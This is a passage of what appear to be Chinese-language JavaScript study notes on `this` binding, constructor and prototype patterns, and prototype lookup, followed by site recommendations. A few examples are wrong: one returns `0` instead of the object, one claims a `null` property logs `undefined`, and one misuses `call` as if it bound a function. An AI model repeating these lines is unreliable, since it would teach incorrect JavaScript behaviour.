看似调用栈 foo -> bar -> foo.a,但其实 this 是 js 引擎内部运行时产生的,并不是简单拍脑袋以为词法作用域所能串联起来的。同时更不可能在 bar 中试图通过 this 来获取 foo 的 a 属性。

绑定规则

通常 this 有如下 4 中绑定方式:

  1. 默认绑定

    通常在没有特殊指定时,this 默认会指到全局环境,即我们熟悉的 windows

  2. 隐藏绑定

    确认是否有 上下文 context 的影响。

    function foo() {
    	console.log(this.a);
    }
    var obj = {
    	a: 1,
    	foo: foo
    };
    obj.foo(); //1

    上面这个例子中,foo 是一个函数声明并且在声明时 提升到全局,但在被 obj 调用时,函数 foo 的 引用 给予了 obj.foo,导致最后 this 的上下文环境变更到了 obj 中。

    function foo() {
    	console.log(this.a);
    }
    var obj = {
    	a: 1,
    	foo: foo
    };
    
    var foo2 = obj.foo; // 引用又被拎到外面
    var a = 2;
    
    obj.foo(); //1
    foo2(); //2

    如果理解了这样一种隐藏绑定的意思,那么对于 foo2 输出 2 这个结果其实也就水到渠成了。

    function foo3(fn) {
    	fn();
    }
    foo3(obj.foo); //2

    更为 隐藏 的方式,通过回调函数、参数的方式来执行。这就解释了用 setTimeout 之类的方法出现 this 丢失,或者引用错误的原因。

  3. 显式绑定

    使用 call,apply

    // var foo2 = obj.foo;
    // foo2()
    var foo2 = obj.foo.call(obj);

    当然也有 es5 的 bind

  4. new 绑定

    “构造函数”(当然 js 是面向函数编程的语言,不存在类的概念。“构造函数”只是 oo 规范化的称呼,其实就是 new 所修饰的调用的函数而已。)

    function User() {
    	this.name = "aaaa";
    }
    var name = "bbbb";
    var user = new User();
    console.log(user.name); // aaaa

参考

  • 你不知道的 JavaScript(上卷)

js 基础 -- 面向对象 2.对象创建


js基础--面向对象 2.创建对象

创建对象

来看下没有类概念的js语言怎么创建对象,已经了解他们之间的区别。

工厂模式&构造函数模式

工厂模式

function createUser(name,age){
    var o = new Object();
    o.name = name;
    o.age = age;
    return o;
}
var user = createUser('aaaa',10);

构造函数模式

function User(name,age){
    this.name = name;
    this.age = age;
}
var user = new User('aaaa',10);

这两者是最简单创建对象,当然还有我们字面量那种方式。对比工厂模式,构造函数 的特点如下:

  • 没有在函数内部创建对象
  • 使用了�this,属性挂在this上
  • 没有return,靠的是对象引用
  • 函数名称大写(规范)
  • 创建不同对象,其实例不同

优点:

创建自定义的构造函数可以将其实例化的对象作为一种特定的类型(能有继承等特性,方便对象的扩展)

缺点&注意点:

  • 如果缺失new,其中的this引用就会变成window
  • 由于是构造函数,创建不同对象都会实例其中每个属性和方法,即使某些属性和方法是有共性的作用,但不同实例后的对象这些共性方法却是不同的。有些冗余的感觉
User('bbbb',22)
window.name;//bbbb
var user2 = new User('aaaa',11);
user2.name;//aaaa
function User(name,age){
    this.name = name;
    this.age = age;
    this.say = function(){
        console.log(`name:${name}`);
    }
}
var user1 = new User('aaaa',11);
var user2 = new User('bbbb',22);

console.log(user1.say==user2.say);//false

原型模式

用于解决�构造函数上定义 具有共性属性和方法 的那些特性类型。

function User(name,age){
    this.name = name;
    this.age = age;
}
User.prototype.say = function(){
    console.log(`name:${name}`);
}
var user1 = new User('aaaa',11);
var user2 = new User('bbbb',22);

console.log(user1.say==user2.say);//true

构造函数+原型模式

可以说是一种创建对象的最佳模式,结合了两者的短长

  • 利用原型的共享特性,解决重复创建对象�属性的问题,节省内存
  • 依旧支持对象传参
function User(name){
    this.name = name;
}
User.prototype.say = function(){}

其他模式

动态原型模式

基本同 构造函数+原型模式,只是为了更好的只通过构造函数来创建对象,这样符合OO面向对象开发者的习惯,或者是疑惑(原型)

function User(name){
    this.name = name;
    if(typeof this.say != "function"){
        User.prototype.say = function(){}
    }
}

寄生构造函数模式

和工厂模式类似,只是在构造函数内部创建一个空对象,最后返回

稳妥构造函数模式

不知道哪些框架会用这个,或者上面那个,个人感觉没什么意义(打个疑问)
目的:构造函数内部避免使用 this,new,防止环境污染等问题

function User(name){
    var o = new Object();
    o.name = name;
    o.say = function(){}
    return 0;
}
var user = User('aaaa');

over

js 基础 -- 面向对象 3.原型那些事


js基础--面向对象 原型那些事

原型对象 propotype

理解原型对象

function User() {}
User.prototype.name = 'aaaa';
User.prototype.age = 11;

应以一个对象(函数、构造函数),这个对象就会有个 prototype 属性,并且这个属性指向 原型对象

原型对象 会包含一个 constructor 构造函数属性,并指向 构造函数

每个根据构造函数创建的 新实例 ,实例 内部 会有一个 [[Prototype]] 指针 ,指向原型对象。某些浏览器提供的 __proto__ 属性(不是显示可见的)

大致如图:

prototype

说明constructor和__proto__

isPrototypeOf()

prototypeObj.isPrototypeOf(object);

由于 proto 属于非显性属性,根据 isPrototypeOf 来判断 object 中的原型指针 是否是 prototypeObj 中的。

User.prototype.isPrototypeOf(user1); //true

getPrototypeOf(instance)

用于获取原型对象的属性。

Object.getPrototypeOf(user1) == User.prototype; //true
user1.name = 'bbbb';
user1.name; //bbbb
Object.getPrototypeOf(user1).name; //"aaaa"

实例对象共享原型属性&方法原理

function User() {}
User.prototype.name = 'aaaa';
var user = new User();
console.log(user.name); //aaaa
user.name = 'bbbb';
console.log(user.name); //bbbb
delete user.name;
console.log(user.name); //aaaa
user.name = null;
console.log(user.name); //undefined

当获取对象某个属性 or 方法时,会先从对象实例开始查询是否有配对的属性;如果没有找到,则会寻找原型对象上的属性 or 方法,因为指针引用是指向原型对象上的。

当时要注意,如果赋值为 null 和使用 delete 删除属性的作用不是一样的。

hasOwnProperty(key)

判断实例对象是否有自己的属性(不包括原型链上的属性

function User() {}
var user = new User();
User.prototype.name = 'aaaa';
user.hasOwnProperty('name'); //false
user.name = 'bbbb';
user.hasOwnProperty('name'); //true
user.hasOwnProperty('sex'); //false

追加 demo,vue 判断属性是否存在

var hasOwnProperty = Object.prototype.hasOwnProperty;

function hasOwn(obj, key) {
	return hasOwnProperty.call(obj, key);
}

function User() {
	this.name = 'aaaa';
}
User.prototype.nickName = 'a';

var user = new User();
console.log(hasOwn(user, 'name')); //true
console.log(hasOwn(user, 'nickName')); //false

in

判断属性是否存在于对象上或者原型上。

// 结合上例
console.log('sex' in user); //false
console.log('name' in user); //true

遍历对象上的属性

获取对象上可枚举的属性

function User() {}
var user = new User();
// 类似for-in
Object.keys(User.prototype); //['name']
Object.keys(user); //[] 因为没有定义instance上的属性

但要注意 IE8,会对是否设置了 Enumerable 属性有限制效果

获取对象上所有的属性

Object.getOwnPropertyNames(User); //["length", "name", "arguments", "caller", "prototype"]
Object.getOwnPropertyNames(User.prototype); //["constructor", "name"]

原型的动态性

即使先实例化好了对象,后面再定义原型属性 or 方法,也是能马上在对象上看到效果。

function User() {}
var user = new User();
User.prototype.say = function() {
	console.log('call');
};
user.say(); //call

但要注意不要重写原型对象,因为实例化对象和原型对象本身就是靠引用来保持关系,重写 prototype 后,相当于新建了一个原型对象,引用关系被破坏。

User.prototype = {
	say: function() {
		console.log('call');
	}
};
user.say(); //error

原型对象的缺点

因为其共享特性是根据指针的引用来联系,所以共享例如数组等引用对象时,就会暴露问题。

function User() {}
var user = new User();
User.prototype.girls = [];
var user1 = new User();
var user2 = new User();
user1.girls.push('cccc');
user2.girls; //["cccc"] user2被污染了

查看更多 Demo

over

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.